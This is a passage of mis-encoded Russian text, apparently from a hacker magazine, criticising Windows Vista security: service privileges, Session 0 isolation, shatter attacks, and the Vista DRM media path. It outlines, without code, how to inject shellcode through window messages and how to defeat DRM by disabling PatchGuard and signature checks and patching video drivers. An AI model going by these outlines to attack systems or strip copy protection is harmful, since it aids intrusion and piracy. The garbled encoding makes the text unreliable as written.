áîò÷èêè (àäðåñ êîòîðûõ èçâåñòåí åùå íà ñòàäèè
òðàíñëÿöèè), à ñ ó÷åòîì àêòèâíîãî âíåäðåíèÿ ïà-
ðàäèãì ìåòàïðîãðàììèðîâàíèÿ òàêîâûõ îêàæåòñÿ
íå òàê óæ è ìíîãî. Êîíå÷íî, åñëè çàñóíóòü óêàçàòå-
ëè íà äèíàìè÷åñêè íàçíà÷àåìûå îáðàáîò÷èêè
â ñåêöèþ .data (èëè ëîêàëüíóþ ïàìÿòü ïîòîêà),
ýòî ñóùåñòâåííî óñëîæíèò õàêåðàì æèçíü,
íî îïÿòü âñå óïèðàåòñÿ â âîïðîñ: «Êîãäà ïîÿâÿòñÿ
ñîîòâåòñòâóþùèå êîìïèëÿòîðû?».

ïîíèæåíèå ïïðèâèëåãèé ññëóæá èè ôôîíîâûõ ïïðî-
öåññîðîâ. Íàêîíåö-òî, äî Microsoft äîøåë òîò ôàêò,
÷òî çàïóñêàòü ñëóæáû ñ ïðèâèëåãèÿìè system íåëü-
çÿ, îñîáåííî åñëè ýòè ñëóæáû íàïèñàíû êîå-êàê è
ïîðîæäàþò ìíîãî÷èñëåííûå çàâèñèìîñòè, êîòîðûå
íåëüçÿ îòêëþ÷èòü áåç óùåðáà äëÿ ôóíêöèîíàëü-
íîñòè ñèñòåìû. Øòàòíûå ñëóæáû Âèñòû ðàáîòàþò
íà ìèíèìàëüíî âîçìîæíîì óðîâíå ïðèâèëåãèé. Åñ-
òåñòâåííî, «ìèíèìàëüíî âîçìîæíîì» â ïðåäñòàâ-
ëåíèè ïàðíåé èç Ðýéìîíäà. Ïðè æåëàíèè ýòîò óðî-
âåíü ìîæíî áûëî áû ñóùåñòâåííî ïîíèçèòü, ðàçáèâ
ñëóæáû íà íåñêîëüêî ÷àñòåé, êàæäàÿ èç êîòîðûõ
ðàáîòàåò íà òîì óðîâíå ïðèâèëåãèé, êîòîðûé åé ðå-

àëüíî íåîáõîäèì. Ýòî ñîêðàùàåò äîëþ ïðèâèëåãè-
ðîâàííîãî êîäà, óïðîùàÿ åãî ïðîâåðêó è ñîêðàùàÿ
êîëè÷åñòâî âîçìîæíûõ äûð.

Ñîáñòâåííî ãîâîðÿ, òåõíè÷åñêè âñå ýòî ìîæ-
íî áûëî ñäåëàòü è íà w2k. Òåì áîëåå ÷òî ñëóæáû,
ðàçðàáîòàííûå ñòîðîííèìè ïîñòàâùèêàìè, ïî-
ïðåæíåìó ðàáîòàþò íà òîì óðîâíå ïðèâèëåãèé, ïîä
êîòîðûé îíè áûëè ñïðîåêòèðîâàíû (è, êàê ïðàâè-
ëî, ýòèì óðîâíåì ÿâëÿåòñÿ system). Â îòäàëåííîì
áóäóùåì ðàçðàáîò÷èêè, âîçìîæíî, ïîñëåäóþò ðå-
êîìåíäàöèÿì Microsoft è ïåðåïðîåêòèðóþò ñâîè
ñëóæáû òàê, ÷òîáû îíè ñìîãëè ðàáîòàòü íà ïîíè-
æåííîì óðîâíå, íî äàæå íà íåì ñëóæáàì äîñòóïíû
âñå ôàéëû, äîñòóïíûå ïðîñòîìó ïîëüçîâàòåëþ. Òî
åñòü óñòàíîâèòü backdoor è ïåðåõâàòèòü êîíôèäåí-
öèàëüíóþ èíôîðìàöèþ õàêåð âñå-òàêè ñìîæåò. Äà,
íà NTFS-ðàçäåëàõ ïîëüçîâàòåëü â ñèëàõ çàïðåòèòü
íåïðèâèëåãèðîâàííûì ñëóæáàì âèäåòü ñâîè ñåê-
ðåòíûå ôàéëû, íî òîëüêî êòî èç ïîëüçîâàòåëåé ýòî
áóäåò äåëàòü? À åñëè áû ïîëüçîâàòåëè äåëàëè ýòî,
òî íèêàêèå àíòèâèðóñû èì íå áûëè áû íóæíû.

Çàãðóçèòü rootkit'à íà ïîíèæåííîì óðîâíå
ïðèâèëåãèé óæå òðóäíåå (ëåãàëüíûìè ñðåäñòâà-
ìè — âîîáùå íåâîçìîæíî), íî, ó÷èòûâàÿ, ÷òî
áîëüøèíñòâî ïîëüçîâàòåëåé ñèäèò ïîä àäìèíèñò-
ðàòîðîì (ôàêò, ïðîòèâ êîòîðîãî íå ïîïðåøü), õà-
êåðû ïðîäîëæàò àòàêîâàòü ïðèêëàäíûå ïðèëîæå-
íèÿ, ñîäåðæàùèå íàìíîãî áîëüøå îøèáîê, ÷åì
ñëóæáû. À ñ îòêðûòèåì áîëüøîãî êëàññà àòàê íà
äðàéâåðà ÷åðåç îøèáêè ñèíõðîíèçàöèè, äàþùèõ
õàêåðó ÿäåðíûå ïðèâèëåãèè, àòàêà íà ñëóæáû
íå àêòóàëüíà.

èçîëÿöèÿ ííóëåâîé ññåññèè. Ãîðäèòüñÿ çàêðû-
òèåì äûðû ÷åòûðåõëåòíåé (!) äàâíîñòè ìîæåò
òîëüêî îòäåë ìàðêåòèíãà Microsoft. Îñòàëüíûå áû,
ïî êðàéíåé ìåðå, ñäåëàëè ýòî âòèõóþ, ÷òîáû íå
ïîçîðèòüñÿ.

Èñòîðèÿ íà÷àëàñü â àâãóñòå 2002 ñ ïóáëèêà-
öèè Êðèñà Ïýäæåòà (Chris Paget) «Exploiting design
flaws in the Win32 API for privilege escalation» («Èñ-
ïîëüçîâàíèå äåôåêòîâ ïðîåêòèðîâàíèÿ Win32 API
äëÿ ïîâûøåíèÿ ïðèâèëåãèé»), îïèñûâàþùåé ýëå-
ãàíòíûé òðþê. Íàõîäèì îêíî áîëåå ïðèâèëåãèðî-
âàííîãî ïðèëîæåíèÿ ñî ñòðîêîé ðåäàêòèðîâàíèÿ è
çàñûëàåì òóäà shell-êîä ïóòåì ïîñûëêè ñîîáùåíèÿ
WM_SETTEXT, óïðàâëåíèå êîòîðûì ïåðåäàåòñÿ
÷åðåç òàéìåð, ðàáîòàþùèé â êîíòåêñòå óÿçâèìîãî
ïðèëîæåíèÿ è óñòàíàâëèâàåìûé îòïðàâêîé åùå
îäíîãî ñîîáùåíèÿ — WM_TIMER. Àòàêè ïîäîáíîãî
òèïà ïîëó÷èëè íàçâàíèå «shatter attacks» è ÷ðåçâû-
÷àéíî âçâîëíîâàëè îáùåñòâåííîñòü, ïðîñî÷èâ-
øèñü äàæå â íåêîìïüþòåðíóþ ïðåññó.

Âîîáùå, îêîííàÿ ïîäñèñòåìà Windows ÿâëÿ-
åòñÿ îäíîé áîëüøîé äûðîé, ïðîñòèòåëüíîé äëÿ
Windows 3.x è 9x, ãäå ïîíÿòèå ïðèâèëåãèé îòñóò-
ñòâóåò êàê êëàññ, è «íàòÿíóòîé» íà NT áåç ó÷åòà

Session 0

Service 1 Service 2 

Service 3 
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Application 1 Application 2 
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Application 6

Session 3

Application 7 Application8
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Â âèñòå ñëóæáû ðàáîòàþò â îòäåëüíîé ñåññèè,
èçîëèðîâàííîé îò ïîëüçîâàòåëüñêèõ ïðèëîæåíèé 
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ñèñòåìû ðàçãðàíè÷åíèÿ äîñòóïà. Íè äëÿ êîãî íå
ñåêðåò, ÷òî ñîîáùåíèÿ ïîçâîëÿþò ìàíèïóëèðî-
âàòü ýëåìåíòàìè óïðàâëåíèÿ áîëåå ïðèâèëåãèðî-
âàííûõ ïðèëîæåíèé, â ÷àñòíîñòè, îòêëþ÷àòü
áðàíäìàóýðû è àíòèâèðóñû, çàïóñêàòü îò èõ èìåíè
äðóãèå ïðîãðàììû è ò.ä. Òåì íå ìåíåå, Microsoft
êàòåãîðè÷åñêè îòêàçàëàñü ïðèçíàâàòü ýòî «äå-
ôåêòîì ïðîåêòèðîâàíèÿ» è âûïóñòèëà çàïëàòêè
äëÿ NT, w2k è XP ëèøü â äåêàáðå, ïîä íàïîðîì
âîçìóùåííûõ ïîëüçîâàòåëåé.

Íî èçó÷åíèå çàïëàòîê ïîêàçàëî, ÷òî íèêàêèå
ýòî íå çàïëàòêè, à ëèøü èìèòàöèÿ çàùèòû. Âîç-
ìîæíîñòü îòïðàâêè ñîîáùåíèÿ îêíàì áîëåå ïðè-
âèëåãèðîâàííûõ ïðîöåññîâ êàê áûëà, òàê è îñòà-
ëàñü. È â Âèñòå äî ðåøåíèÿ ïðîáëåìû äåëî òàê è
íå äîøëî, íî êîå-êàêèå ïîäâèæêè óæå ñäåëàíû.
Ïðàâäà, íå â òîì íàïðàâëåíèè :). Microsoft ïðåäï-
ðèíÿëà äâà «ðåâîëþöèîííûõ» øàãà, êàñàþùèõñÿ
ñèñòåìíûõ ñåðâèñîâ (íî íèêàê íå çàòðàãèâàþùèõ
âñå îñòàëüíûå ïðèëîæåíèÿ).

Åñëè ðàíüøå ëîêàëüíûé ïîëüçîâàòåëü,
âõîäÿùèé â ñèñòåìó ïåðâûì, ðåãèñòðèðîâàëñÿ
â íóëåâîé ñåññèè, îòêóäà çàïóñêàëèñü âñå ñëóæ-
áû, òî òåïåðü íóëåâàÿ ñåññèÿ öåëèêîì îòäàíà
ïîä ñëóæáû, è åå î÷åðåäü ñîîáùåíèé èçîëèðîâà-
íà îò î÷åðåäè ñîîáùåíèé âñåõ îñòàëüíûõ ñåñ-
ñèé, â êîòîðûõ ðåãèñòðèðóþòñÿ ïîëüçîâàòåëè.
Â ðåçóëüòàòå, èìååì íà îäíó ñåññèþ áîëüøå,
÷åì ðàíüøå. Äëÿ ñåðâåðîâ ýòî, ìîæåò áûòü, è íå
ñòðàøíî, à âîò íà ðàáî÷èõ ñòàíöèÿõ, 99% ñâîåãî
âðåìåíè ïðîâîäÿùèõ â «îáúÿòèÿõ» îäíîãî-åäèí-
ñòâåííîãî ïîëüçîâàòåëÿ (èçðåäêà çàïóñêàþùåãî
óòèëèòó runas), ïîëó÷àåì íåîïðàâäàííîå òðàí-
æèðñòâî ñèñòåìíûõ ðåñóðñîâ.

Âòîðîé øàã — ñëåäñòâèå òîãî, ÷òî ïåðâûé øàã
ïîëó÷èëñÿ íå òàêèì, êàê õîòåëîñü, è ïðèøëîñü
â ñïåøíîì ïîðÿäêå àíîíñèðîâàòü èçîëÿöèþ ïîëüçî-
âàòåëüñêèõ èíòåðôåéñîâ îò ïðèíàäëåæàùèõ èì
ïðîöåññîâ — «User Interface Process Isolation» (ñîê-
ðàùåííî UIPI). Åñëè áû õàêåðû áûëè äåéñòâèòåëüíî
ëèøåíû âîçìîæíîñòè ïîñûëàòü ñîîáùåíèÿ îêíàì
áîëåå ïðèâèëåãèðîâàííûõ ïðèëîæåíèé, ýòîãî áû
â ïðèíöèïå íå ïîòðåáîâàëîñü. À òàê Microsoft «îòîä-
ðàëà» èíòåðôåéñ îò ïðèâèëåãèðîâàííûõ ñëóæá, çà-
ïóñòèâ åãî â íåïðèâèëåãèðîâàííîì ðåæèìå.

Êàêàÿ ðàäîñòü: shatter-àòàêè ïåðåñòàëè ðà-
áîòàòü! Òî åñòü êàê áû ïåðåñòàëè, à íà ñàìîì äåëå
îíè î÷åíü äàæå… Äà, ïîâûñèòü ñâîè ïðèâèëåãèè
÷åðåç çàñûëêó shell-êîäà õàêåðû óæå íå ñìîãóò, íî
âîò âçàèìîäåéñòâîâàòü ñî ñëóæáîé ÷åðåç ïðåäîñ-
òàâëåííûé åþ èíòåðôåéñ èì íè÷åãî íå ìåøàåò.
À áîëüøåãî õàêåðàì îáû÷íî è íå íóæíî. Òåì áî-
ëåå, ÷òî ðå÷ü èäåò î ëîêàëüíûõ àòàêàõ, àêòóàëü-
íîñòü êîòîðûõ â ïðèëè÷íîì îáùåñòâå íîðìàëüíûå
ëþäè íå îáñóæäàþò, ïîñêîëüêó ñóùåñòâóåò òûñÿ÷à
è îäèí ñïîñîá ïîâûøåíèÿ ñâîèõ ïðèâèëåãèé, åñëè,
êîíå÷íî, èõ åñòü êóäà ïîâûøàòü (ïðî òî, ÷òî áîëü-
øèíñòâî ïîëüçîâàòåëåé ñèäèò ïîä àäìèíèñòðàòî-
ðîì, óæå ãîâîðèëè).

áåçðàäîñòíîå ççàêëþ÷åíèå. Ïîäâîäÿ èòîã,
ìîæíî ñêàçàòü, ÷òî áåçîïàñíîñòü ÿäðà Âèñòû íèêà-
êèõ ðàäèêàëüíûõ èçìåíåíèé íå ïðåòåðïåëà (à ñ ó÷å-
òîì ïåðåïèñàííîãî ñ íóëÿ ñåòåâîãî ñòåêà îíà äàæå
ïîñòðàäàëà), è ýòà ÎÑ ïî-ïðåæíåìó îñòàåòñÿ îòê-
ðûòîé äëÿ àòàê. Ïåðåõîäèòü íà Âèñòó ìîæíî òîëüêî
ðàäè êðàñèâîãî èíòåðôåéñà, íîâîãî DirectX è ïðî-
÷åãî ïîòðåáèòåëüñêîãî áàðàõëà, èäóùåãî â ðàçðåç
ñ áåçîïàñíîñòüþ. Êàê íè ïàðàäîêñàëüíî, íî Win-
dows 98 íà ñåãîäíÿøíèé äåíü îñòàåòñÿ ñàìîé çà-
ùèùåííîé îïåðàöèîííîé ñèñòåìîé, ïîäâëàñòíîé
ëèøü íåáîëüøîìó ÷èñëó DoS-àòàê, äà è òî ëèøü
â òîì ñëó÷àå, åñëè íå óñòàíîâëåíû ñîîòâåòñòâóþ-
ùèå çàïëàòêè

http://go.microsoft.com/fwlink/?linkid=67468
ìóëüòèìåäèéíàÿ ïðåçåíòàöèÿ ìåíåäæåðà ïàìÿòè â Vista

http://blogs.msdn.com/michael_howard/archive/
2006/055/26/608315.aspx
ïîäðîáíîñòè î ðåàëèçàöèè aslr

www.wehnus.com
ïàêåò pax äëÿ nt (wehnus)

en.wikipedia.org/wiki/address_space_layout_randomization
ïîäðîáíåå î ðàíäîìèçàöèè
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MICROSOFT
WINDOWS VISTA.
ÏÅÐÂÎÅ
ÇÍÀÊÎÌÑÒÂÎ

ÑÏá.: ÁÕÂ-Ïåòåðáóðã,
2006 / ×åêìàðåâ À.Í. /
400 ñòðàíèö
Ðàçóìíàÿ öåíà: 172 ð.

Èíòåðåñ ê Windows
Vista ïîäîãðåâàåòñÿ çà-
òÿíóâøèìñÿ «îòïóñ-
êîì» Microsoft —
ñ 2001 ãîäà, êîãäà ïîÿ-
âèëàñü íà ñâåò
Windows XP, íèêàêèõ
çíà÷èòåëüíî ïåðåðàáî-

òàííûõ îïåðàöèîííûõ
ñèñòåì íå áûëî. È õîòÿ
îôèöèàëüíîãî âûõîäà
Windows Vista åùå íå
áûëî, óæå ñåé÷àñ ìíî-
ãèå áåòà-òåñòåðû è ýí-
òóçèàñòû ìîãóò ïîçíà-
êîìèòüñÿ ñ ñèñòåìîé.
Òàê, â îñíîâå ýòîé êíè-
ãè — ñáîðêà Windows
Vista build 5308 è build
5342. Òû ñìîæåøü óæå
ñåé÷àñ ñîñòàâèòü
ñîáñòâåííîå âïå÷àòëå-
íèå î íîâîé ñèñòåìå,
óâèäåâ ïðèíöèïèàëü-
íûå èçìåíåíèÿ. Ñ ïî-

çèöèè ïîëüçîâàòåëÿ
ðàññìîòðåíû íîâûé
èíòåðôåéñ è åãî íàñò-
ðîéêà, êîíôèãóðèðîâà-
íèå ñèñòåìû, ìóëüòè-
ìåäèéíûå âîçìîæíîñ-
òè, âñòðîåííûå ïðèëî-
æåíèÿ… Ñ ïîçèöèè 
àäìèíèñòðàòîðà ðàñ-
ñìîòðåíû óñòàíîâêà
è ìîíèòîðèíã ñèñòåìû
è ïðèëîæåíèé,
ñîáñòâåííî àäìèíèñò-
ðèðîâàíèå, áåçîïàñ-
íîñòü, ãðóïïîâûå 
ïîëèòèêè, ñåòåâûå
ñðåäñòâà…

EASY

Ïðè âñåì áîãàòñòâå âûáîðà äðóãîé àëüòåðíàòèâû íåò



ìíîãî øøóìà èèç ííè÷åãî. Ïåðâîå ïðàâèëî çà-
ùèòû èíôîðìàöèè ãëàñèò — åñëè èíôîðìàöèþ
ìîæíî âîñïðîèçâåñòè, åå ìîæíî è ñêîïèðîâàòü.
Ïîìåøàòü ýòîìó ìîæåò òîëüêî ïåðåïðîåêòèðîâà-
íèå âñåãî îáîðóäîâàíèÿ, çàäåéñòâîâàííîãî â îá-
ðàáîòêå ñèãíàëà. Âîîáðàçèì ñåáå òàêóþ ñèñòåìó,
â êîòîðîé íà DVD-äèñêå çàïèñàí çàøèôðîâàííûé
ôàéë, ïåðåäàâàåìûé ïî âñåì êîìïüþòåðíûì øè-
íàì â çàêîäèðîâàííîì âèäå è ðàñøèôðîâûâà-
åìûé òîëüêî â âèäåî-êàðòå. Ïðè ïîïûòêå ïðîñìî-
òðà çàùèùåííîãî, íî íå ðàçðåøåííîãî öèôðîâî-
ãî ïîòîêà âèäåîâûõîäû àâòîìàòè÷åñêè îòêëþ÷à-
þòñÿ (ïîêàçûâàÿ ðàâíîäóøíûé ÷åðíûé ýêðàí) èëè
èçîáðàæåíèå óìûøëåííî èñêàæàåòñÿ òàê, ÷òî íè-
êàêîãî óäîâîëüñòâèÿ îò åãî ïðîñìîòðà âñå ðàâíî
íå ïîëó÷èøü.

Äàæå åñëè òû ïåðåõâàòèøü öèôðîâîé ïîòîê
ïî ïóòè åãî ñëåäîâàíèÿ îò DVD ê âèäåî-êàðòå, âñå
ðàâíî íå óäàñòñÿ íè÷åãî ñ íèì ñäåëàòü, âåäü ïðî-
òèâ øèôðîâêè íå ïîïðåøü! Íî ýòî â òåîðèè. Íà
ïðàêòèêå æå... ÷òîáû ðàñøèôðîâàòü âèäåî-ïîòîê,
äîñòàòî÷íî äîáûòü êëþ÷.

Äîïóñòèì, êëþ÷ ñïðÿòàí íåïîñðåäñòâåííî â
ñàìîé âèäåî-êàðòå, ïðè÷åì ñïðÿòàí òàê õîðîøî,
÷òî íè ÷åðåç ïðîøèâêó, íè êàêèì-ëèáî äðóãèì ïðî-
ãðàììíûì ïóòåì åãî ñ÷èòàòü íåëüçÿ. Ïðè óñëîâèè
âûáîðà ñòîéêîãî êðèïòîàãëîðèòìà ó íàñ íåò íèêà-
êèõ øàíñîâ ðàñøèôðîâàòü öèôðîâîé ïîòîê, ÷òîáû
çàïèñàòü åãî íà æåñòêèé äèñê íàïðèìåð. Îñòàåòñÿ
òîëüêî ãðàáèòü âèäåî-âûõîä íåïîñðåäñòâåííî ñ ñà-
ìîé âèäåî-êàðòû, êîòîðûé, â ñâîþ î÷åðåäü, òîæå
ìîæåò áûòü çàøèôðîâàí, îêîí÷àòåëüíî ðàñøè-
ôðîâûâàÿñü ëèøü ïåðåä íåïîñðåäñòâåííûì âûõî-
äîì íà ýêðàí. Åñëè ýòî áóäåò LCD-ìîíèòîð, òî ó
íàñ îñòàåòñÿ âîçìîæíîñòü ïîäêëþ÷èòüñÿ íåïî-
ñðåäñòâåííî ê âûõîäàì ìàòðèöû, ñíÿâ ãîòîâûé ê
óïîòðåáëåíèþ ñèãíàë. Êîíå÷íî, ïðèäåòñÿ ïîäíà-
ïðÿ÷üñÿ, íî... îíî òîãî ñòîèò. Â òåîðèè. Íà ïðàêòèêå
æå, åñëè îäíèì è òåì æå êëþ÷îì ðàñøèôðîâûâà-
þòñÿ âñå äèñêè è ýòîò êëþ÷ â ÿâíîì âèäå õðàíèòñÿ
â êó÷å «ðàçíîêàëèáåðíîãî» îáîðóäîâàíèÿ, íèêà-
êèå óõèùðåíèÿ íå ïîçâîëÿò óäåðæàòü åãî â ñåêðå-
òå. Ñëåäîâàòåëüíî, êëþ÷ äîëæåí ïåðåäàâàòüñÿ â
êàðòó èçâíå è õðàíèòüñÿ íà ñàìîì DVD-äèñêå, ÷òî
ïîçâîëÿåò èçâëå÷ü åãî, ðàñøèôðîâûâàÿ âèäåî-ïî-
òîê âðó÷íóþ.

Íî åñëè ðàíüøå âñå ýòî áûëè äîãàäêè, îñíî-
âàííûå íà ñìóòíûõ è ïðîòèâîðå÷èâûõ ñëóõàõ, ïðî-
ñî÷èâøèõñÿ ïî íåîôèöèàëüíûì êàíàëàì, òî òå-

ïåðü Microsoft äîñòàòî÷íî ïîäðîáíî äîêóìåíòèðî-
âàëà ñèñòåìó çàùèòû. Êàê è ñëåäîâàëî îæèäàòü,
îíà îêàçàëàñü ñìåñüþ ïðîãðàììíî-àïïàðàòíûõ
ðåøåíèé, ïðè÷åì ðàñøèôðîâêà öèôðîâîãî ïîòî-
êà è îòêëþ÷åíèå âèäåîâûõîäîâ îñóùåñòâëÿåòñÿ
äðàéâåðàìè êàðòû, òî åñòü ïðîãðàììíî.

Õàêåðû ïüþò ïèâî è òîðæåñòâóþò (óæå îáäó-
ìûâàÿ, êàê îíè áóäóò ãðàáèòü öèôðîâûå ïîòîêè), à
ïîëüçîâàòåëè ïî-ïðåæíåìó ãîíÿþò îñëîâ, çàïèñû-
âàþò ôàéëû íà æåñòêèå äèñêè, îáìåíèâàÿñü èìè ñ
äðóçüÿìè.

çàùèòà ööèôðîâîãî ïïîòîêà ññíàðóæè èè èèçíóòðè.
Â ïðîöåññå ðàçðàáîòêè çàùèòû íîâîãî ïîêîëåíèÿ
Microsoft íå ðîäèëà íè îäíîé óìíîé èäåè, çàòî èçî-
áðåëà ìíîæåñòâî àááðåâèàòóð, îáðóøèâ íà ïðî-
ãðàììèñòîâ öåëûé âîðîõ íîâûõ òåðìèíîâ (ñìîòðè
ãëîññàðèé).

Êëþ÷åâûå êîìïîíåíòû çàùèòíîãî ìåõàíèç-
ìà: çàùèùåííûé ìåäèà-ïóòü (Protected Media Path
èëè PMP), çàùèùåííîå àóäèî ïîëüçîâàòåëüñêîãî
ðåæèìà (Protected User-Mode Audio èëè PUMA), çà-
ùèùåííûé âèäåî-ïóòü (Protected Video Path èëè
PVP), óïðàâëåíèå çàùèòîé çàùèùåííîãî âèäåî-
ïóòè (Protected Video Path-Output Protection Mana-
gement èëè PVP_OPM) è áåçîïàñíûé àóäèî-ïóòü
(Secure Audio Path èëè SAP). Ýòî æå êðûøåé ïîå-
õàòü ìîæíî: ñòîëüêî ðàçíûõ ñëîâ, à âñå ðàâíî íè-
êàêîãî òîëêó! Êñòàòè, ãëàâíûé ïðèçíàê íåíàäåæ-
íîñòè çàùèòû — åå çàïóòàííîñòü è àáñîëþòíàÿ
íåïðîçðà÷íîñòü. Òàêîå ÷óâñòâî, ÷òî ïëàâàåøü â
ìóòíîé âîäå çëîâîííîé ðåêè, çàáîëîòèâøåéñÿ
ìíîãî ëåò òîìó íàçàä. Íî ýòî âñå ëèðèêà. Ïåðåõî-
äèì ê îáñóæäåíèþ òåõíè÷åñêèõ äåòàëåé.

Íà âåðøèíå ïèðàìèäû çàùèòíûõ êîìïîíåí-
òîâ ãîðäî ðååò MIG (Media Interoperability Ga-
teway — èíòåðîïåðàáåëüíûé ìåäèà-øëþç), ïðåäî-
ñòàâëÿþùèé ïðèëîæåíèÿì äîñòóï ê çàùèùåííîìó
ìåäèà-êîíòåíòó è óïðàâëÿþùèé ïîëèòèêîé åãî èñ-
ïîëüçîâàíèÿ è âîñïðîèçâåäåíèÿ â èçîëèðîâàííûõ
çàùèùåííûõ ïðîöåññàõ, ãàðàíòèðóþùèõ, ÷òî ìå-
äèà-êîíòåíò áóäåò èñïîëüçîâàí ñòðîãî â ñîîòâåò-
ñòâèè ñ íàáîðîì ðàçðåøåíèé/çàïðåòîâ, óñòàíî-
âëåííûõ åãî çàêîííûì âëàäåëüöåì. Çàùèùåííûå
ïðîöåññû îòëè÷àþòñÿ îò âñåõ îñòàëüíûõ: èìè
íåëüçÿ ìàíèïóëèðîâàòü ïîñðåäñòâîì API-ôóíêöèè

ReadProcessMemory/WriteProcessMemory, äàæå ñ
ïðàâàìè àäìèíèñòðàòîðà. Òåì íå ìåíåå, â íèõ ìîæ-
íî ïðîíèêíóòü ÷åðåç ÿäðî. Íà x86-64 ìàøèíàõ äëÿ
ýòîãî ïîíàäîáèòñÿ ïîäïèñàííûé äðàéâåð (êîòîðûé
ïîäïèñûâàòü, åñòåñòâåííî, íèêòî íå ñîáèðàåòñÿ,
âåäü âñåãäà ìîæíî íàæàòü <F8> ïðè çàãðóçêå ñè-
ñòåìû, îòêëþ÷èâ ïðîâåðêó öèôðîâîé ïîäïèñè). 

Êîìïîíåíò, îòâåòñòâåííûé çà óïðàâëåíèå çà-
ùèòîé çàùèùåííîãî âèäåî-ïóòè (PVP-OPM) ãàðàí-
òèðóåò, ÷òî âûõîäû âèäåî-êàðòû, óñòàíîâëåííîé â
PC, ñíàáæåíû ñîîòâåòñòâóþùåé çàùèòîé, êîòîðîé
òðåáóåò ëèöåíçèîííîå ñîãëàøåíèå ñ îáëàäàòåëåì
çàùèùåííîãî ìåäèà-êîíòåíòà. Îí æå óïðàâëÿåò
îñòàëüíûìè çàùèòíûìè ñõåìàìè: çàùèòà øèðîêî-
ïîëîñíîãî öèôðîâîãî êîíòåíòà (High-Bandwidth Di-
gital Content Protection èëè HDCP), ïå÷àëüíî èç-
âåñòíàÿ Macrovision, ïðîÿâëÿþùàÿ ñåáÿ íåîïðà-
âäàííûìè èñêàæåíèÿìè íà íåêîòîðûõ ìîäåëÿõ òå-
ëåâèçîðîâ è äîìàøíèõ êèíîòåàòðîâ, îáùàÿ ñèñòå-
ìà àíàëîãîâîãî óïðàâëåíèÿ êîïèðîâàíèåì (Copy
Generation Management System-Analog èëè CGMS-
A) è ò.ä. Êàê è ïðåäûäóùèé êîìïîíåíò, PVP-OPM
ïðåäñòàâëÿåò ñîáîé ÷èñòî ïðîãðàììíîå ðåøåíèå,
êîòîðîå ëåãêî ìîæåò áûòü âçëîìàíî. Ïîñëå íåäîë-
ãîãî ïûõòåíèÿ â äèçàññåìáëåðå õàêåð íàâñåãäà
îòó÷èò ýòîãî çâåðþãó îòêëþ÷àòü âèäåîâûõîäû âíå
çàâèñèìîñòè îò òîãî, èäåò ëè ïî íèì ðàçðåøåííûé
ìåäèà-êîíòåíò èëè íåò.

Ïîëíîäîñòóïíàÿ øèíà çàùèùåííîãî ïîëüçî-
âàòåëüñêîãî âèäåî-ïóòè (protected video path-user
accessible bus èëè PVP_UAB) âïîëíå ñîîòâåòñòâó-
åò ñâîåìó ïóãàþùåìó íàçâàíèþ è øèôðóåò ìå-
äèà-êîíòåíò ïî ïóòè åãî ñëåäîâàíèÿ ÷ðåç øèíó PCI
Express ê öåëåâîìó ãðàôè÷åñêîìó àäàïòåðó. Ýòà
ñòàäèÿ íå ÿâëÿåòñÿ îáÿçàòåëüíîé, è øèôðîâàíèå
çàäåéñòâóåòñÿ òîëüêî â òåõ ñëó÷àÿõ, êîãäà âëàäå-
ëåö ìåäèà-êîíòåíòà ñ÷èòàåò, ÷òî ñðåäè ïîòåí-
öèàëüíûõ ïîëüçîâàòåëåé åãî ïðîäóêöèè íàéäåòñÿ
èäèîò, âîòêíóâøèé â øèíó ýìóëÿòîð êàðòû è ïå-
ðåõâàòûâàþùèé öèôðîâîå ñîäåðæèìîå â ÷èñòîì
âèäå. Òèïà ãðàáåæà ñðåäè áåëà äíÿ. Øèôðîâàíèå,
åñòåñòâåííî, âûïîëíÿåòñÿ ïðîãðàììíî è ëåãêî îò-
êëþ÷àåòñÿ ýëåìåíòàðíîé ïðàâêîé äðàéâåðà.

Ìîäóëü çàùèùåííîãî àóäèî ïîëüçîâàòåëü-
ñêîãî ðåæèìà (PUMA) îáåñïå÷èâàåò «áåçîïàñíîå»
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îêðóæåíèå äëÿ âîñïðîèçâåäåíèÿ àóäèî, ïðè
íåîáõîäèìîñòè áëîêèðóÿ àóäèî-âûõîäû. Âñå ýòî
òàêæå ïðîèñõîäèò íà ïðîãðàììíîì óðîâíå.

Îò ïðîèçâîäèòåëåé âèäåî-êàðò òðåáóåòñÿ
«âñåãî ëèøü» âêëþ÷àòü ìåõàíèçì óïðàâëåíèÿ âè-
äåîâûõîäàìè è ãàðàíòèðîâàòü, ÷òî äðàéâåðû,
óïðàâëÿþùèå êàðòîé, íå áóäóò ìîäèôèöèðîâàíû
çëîñòíûìè õàêåðàìè. À äëÿ ýòîãî îíè äîëæíû
ïðîéòè ïðîöåäóðó ñåðòèôèêàöèè è ïîëó÷èòü öè-
ôðîâóþ ïîäïèñü, óäîñòîâåðÿþùóþ öåëîñòíîñòü
èõ ñîäåðæèìîãî.

Òàêèì îáðàçîì, ãðàáåæ öèôðîâîãî êîíòåíòà
ñâîäèòñÿ ê íåéòðàëèçàöèè ìåõàíèçìà Patch-
Guard, êîíòðîëèðóþùåãî öåëîñòíîñòü ÿäðà Win-
dows, îòêëþ÷åíèþ ìåõàíèçìà ïðîâåðêè öèôðîâîé
ïîäïèñè è ìîäèôèêàöèè âèäåî-äðàéâåðà, ñ îáúÿñ-
íåíèåì åìó, ÷òî îòêëþ÷àòü âèäåîâûõîäû — ýòî
î÷åíü íåõîðîøî è ñîâñåì íå ïî-êîììóíèñòè÷åñêè.

Íà ñõåìå êðàñíûì öâåòîì ïîêàçàíû ìàðø-
ðóòû ïåðåäà÷è çàøèôðîâàííîãî öèôðîâîãî ïîòî-
êà, çåëåíûì — óæå ðàñøèôðîâàííîãî è ãîòîâîãî ê
óïîòðåáëåíèþ. ×òîáû íàãðàáèòü ðàñøèôðîâàí-
íûé ïîòîê, äîñòàòî÷íî ïîäêëþ÷èòñÿ ê «âûõîäó»
âèäåî- è àóäèî-äåêðèïòîðîâ è âñå. Îñòàëüíûå
êîìïîíåíòû (òèïà àóäèî-/âèäåî-äåêîäåðîâ) ïðè
æåëàíèè ìîæíî ðåàëèçîâàòü è ñàìîñòîÿòåëüíî.

Òàêèì îáðàçîì, çàùèòà íå ïðåïÿòñòâóåò íè
ïèðàòàì, íè ïðîäâèíóòûì ïîëüçîâàòåëÿì. À âîò ëå-
ãàëüíûå ïîòðåáèòåëè ïîëó÷àþò ãåìîððîé â âèäå
íåèçáåæíûõ ãëþêîâ, íåâîçìîæíîñòè ïðèìåíåíèÿ
ñòîðîííèõ ïëååðîâ (çàùèùåííûå ïðîöåññû ïîêà
ìîæåò ñîçäàâàòü òîëüêî øòàòíûé ìåäèà-ïëååð),

